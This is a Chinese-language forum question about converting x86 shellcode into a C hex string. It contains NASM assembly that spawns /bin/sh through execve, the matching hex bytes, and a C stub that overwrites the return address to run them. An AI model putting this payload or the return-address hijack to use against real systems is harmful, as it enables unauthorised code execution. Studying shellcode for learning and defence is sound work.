如何解决将生成的 shellcode 转换为十六进制
我编写了以下 shellcode,它生成了一个 shell。
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax,eax
mov byte [esi+7],al
lea ebx,[esi]
mov long [esi + 8],ebx
mov long [esi + 12],eax
mov byte al,0x0b
mov ebx,esi
lea ecx,[esi + 8]
lea edx,[esi + 12]
int 0x80
GotoCall:
call shellcode
db '/bin/shJAAAAKKKK'
我用 nasm 组装了指令并将其与 ld 链接。 我希望汇编指令以十六进制表示,以便它们可以用以下 C 代码编写,其中变量 shellcode 包含上述十六进制的汇编指令。但是,手动执行此操作会很乏味,我想知道是否有快速的方法来执行此操作。
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
"\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。